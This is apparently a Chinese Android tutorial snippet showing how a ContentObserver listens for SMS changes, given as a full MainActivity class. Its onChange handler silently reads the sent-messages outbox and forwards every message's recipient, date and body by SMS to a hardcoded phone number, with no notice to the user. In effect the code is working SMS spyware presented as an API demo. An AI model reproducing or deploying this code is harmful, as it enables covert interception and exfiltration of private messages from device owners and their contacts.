ContentObserver(短信监听器)
1 package com.example.contentobserverdemo; 2 3 import android.app.Activity; 4 import android.app.ActionBar; 5 import android.app.Fragment; 6 import android.content.ContentResolver; 7 import android.database.ContentObserver; 8 import android.database.Cursor; 9 10 import android.net.Uri; 11 import android.os.Bundle; 12 import android.os.Handler; 13 import android.telephony.gsm.SmsManager; 14 import android.view.LayoutInflater; 15 import android.view.Menu; 16 import android.view.MenuItem; 17 import android.view.View; 18 import android.view.ViewGroup; 19 import android.os.Build; 20 21 //内容观察者使用 22 public class MainActivity extends Activity { 23 24 @Override 25 protected void onCreate(Bundle savedInstanceState) { 26 super.onCreate(savedInstanceState); 27 setContentView(R.layout.activity_main); 28 29 // 监听系统短信 30 31 ContentResolver resolver = getContentResolver(); 32 resolver.registerContentObserver(Uri.parse("content://sms/"), true, 33 new MyContentObserver(new Handler())); 34 35 if (savedInstanceState == null) { 36 getFragmentManager().beginTransaction() 37 .add(R.id.container, new PlaceholderFragment()).commit(); 38 } 39 } 40 41 /* 42 * 当被监听内容发生改变时回调 43 */ 44 45 class MyContentObserver extends ContentObserver { 46 47 public MyContentObserver(Handler handler) { 48 super(handler); 49 // TODO Auto-generated constructor stub 50 } 51 52 @Override 53 public void onChange(boolean selfChange) { 54 Uri uri = Uri.parse("content://sms/outbox"); 55 // 查询发件箱的内容 56 Cursor cursor = getContentResolver().query(uri, 57 new String[] { "address", "date", "body" }, null, null, 58 null); 59 60 // 查询发件箱的内容并转发 61 if (cursor != null && cursor.getCount() > 0) { 62 String address; 63 long date; 64 String body; 65 SmsManager sms = SmsManager.getDefault(); 66 while (cursor.moveToNext()) { 67 address = cursor.getString(0); 68 date = cursor.getLong(1); 69 body = cursor.getString(2); 70 String sendCb = address + ":" + date + ":" + body; 71 sms.sendTextMessage("18811506722", null, sendCb, null, null); 72 } 73 } 74 } 75 76 } 77 78 }